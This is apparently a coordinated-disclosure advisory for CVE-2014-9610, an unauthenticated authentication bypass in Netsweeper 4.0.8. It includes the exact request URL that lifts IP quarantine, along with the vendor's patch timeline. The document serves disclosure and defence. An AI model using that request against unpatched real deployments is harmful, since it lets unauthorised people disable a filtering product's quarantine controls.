Netsweeper 4.0.8 - Authentication Bypass Issue

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+ Netsweeper 4.0.8 - Authentication Bypass (Disabling of IP Quarantine) +

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Affected Product: Netsweeper

Vendor Homepage : www.netsweeper.com

Version 	: 4.0.8 (and probably other versions)

Discovered by  	: Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]

Patched      	: Yes

CVE		: CVE-2014-9610



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+ Product Description +

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Netsweeper is a software solution specialized in content filtering.



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+ Exploitation Details +

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An unauthenticated user is able to remove from quarantine any IP address on Netsweeeper 4.0.8 (and probably other versions).

URL Path: http://netsweeper/webadmin/user/quarantine_disable.php?ip=127.0.0.1



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+ Solution +

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Upgrade to latest version.



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+ Disclosure Timeline +

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24-Nov-2014: Initial Communication

03-Dec-2014: Netsweeper responded

03-Dec-2014: Shared full details to replicate the issue

10-Dec-2014: Netsweeper fixed the issue in releases 3.1.10, 4.0.9, 4.1.2

17-Dec-2014: New releases 3.1.10, 4.0.9, 4.1.2 made available to the public

18-Dec-2014: Confirm fix

17-Jan-2015: CVE assigned CVE-2014-9610

11-Aug-2015: Public disclosure